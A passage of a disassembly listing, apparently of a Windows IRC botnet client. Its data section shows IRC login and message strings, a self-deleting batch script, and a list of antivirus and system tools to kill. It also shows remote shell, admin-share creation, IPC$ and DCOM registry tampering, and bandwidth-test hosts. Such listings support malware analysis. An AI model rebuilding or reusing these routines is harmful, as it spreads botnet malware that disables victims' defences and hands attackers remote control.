					; ___:0043D83Co
dword_43E060	dd 79h			; DATA XREF: ___:0043D4F4o
					; ___:0043D888o
dword_43E064	dd 77h			; DATA XREF: ___:0043D4E4o
					; ___:0043D880o
dword_43E068	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_43E074	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_43E078	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 10h
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 10h
unk_43E1F0	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
unk_43E220	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_43E248	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h, 0
off_43E268	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_43E26C	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_43E270	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43E2DCh, 43E2D4h,	2, 43E2C8h, 43E2BCh, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0043E29Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:0043E298o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:0043E290o
aStart_0	db 'Start',0            ; DATA XREF: ___:0043E28Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0043E284o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:0043E280o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:0043E278o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0043E274o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_43E26Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_43E268o
unk_43E330	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43E354	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_43E380	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning_0	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_43E8D4	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_43E8F8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_43E914	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_43E960	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 10h
unk_43E9C0	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_43E9E8	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_43EA18	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_43EA38	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_43EBE4	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 4
unk_43EC18	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 10h
dword_43EF20	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43EF4C	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_43EF78	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43F080
		dd offset dword_43F074
		dd offset dword_43F068
		dd offset dword_43F05C
		dd offset dword_43F050
		dd offset dword_43F044
		dd offset dword_43F034
		dd offset dword_43F028
		dd offset dword_43F01C
		dd offset dword_43F010
		dd offset dword_43F004
		dd offset dword_43EFF4
		dd offset dword_43EFE8
		dd offset dword_43EFD8
dword_43EFD8	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:0043EFD4o
dword_43EFE8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043EFD0o
dword_43EFF4	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043EFCCo
dword_43F004	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:0043EFC8o
dword_43F010	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043EFC4o
dword_43F01C	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043EFC0o
dword_43F028	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043EFBCo
dword_43F034	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:0043EFB8o
dword_43F044	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043EFB4o
dword_43F050	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:0043EFB0o
dword_43F05C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043EFACo
dword_43F068	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:0043EFA8o
dword_43F074	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043EFA4o
dword_43F080	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:0043EFA0o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043EF9Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043EF98o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043EF94o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:0043EF90o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043EF8Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:0043EF88o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:0043EF84o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:0043EF80o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:0043EF7Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_43EF78o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 10h
unk_43F130	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43F154	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43F178	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_43F1A8	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43F1D8	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43F200	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43F230	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43F264	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43F288	dd offset dword_43F2C0	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		align 10h
		dd offset dword_43F2B8
		align 8
off_43F298	dd offset dword_43F2B4	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_43F2B0
		dd offset dword_43F2AC
		dd offset dword_43F2A8
dword_43F2A8	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:0043F2A4o
dword_43F2AC	dd 2444h		; DATA XREF: ___:0043F2A0o
dword_43F2B0	dd 5C3A43h		; DATA XREF: ___:0043F29Co
dword_43F2B4	dd 2443h		; DATA XREF: ___:off_43F298o
dword_43F2B8	dd 494D4441h, 244Eh	; DATA XREF: ___:0043F290o
dword_43F2C0	dd 24435049h, 0		; DATA XREF: ___:off_43F288o
dword_43F2C8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43F2F8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43F320	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43F34C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43F370	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43F39C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43F3C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43F3F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43F42C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43F460	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 10h
dword_43F4B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43F4E0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_43F500	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 10h
dword_43F530	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_43F560	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43F588	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43F5A8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43F5E4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43F61C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43F65C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_43F678	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43F6D0	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43F8E8	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
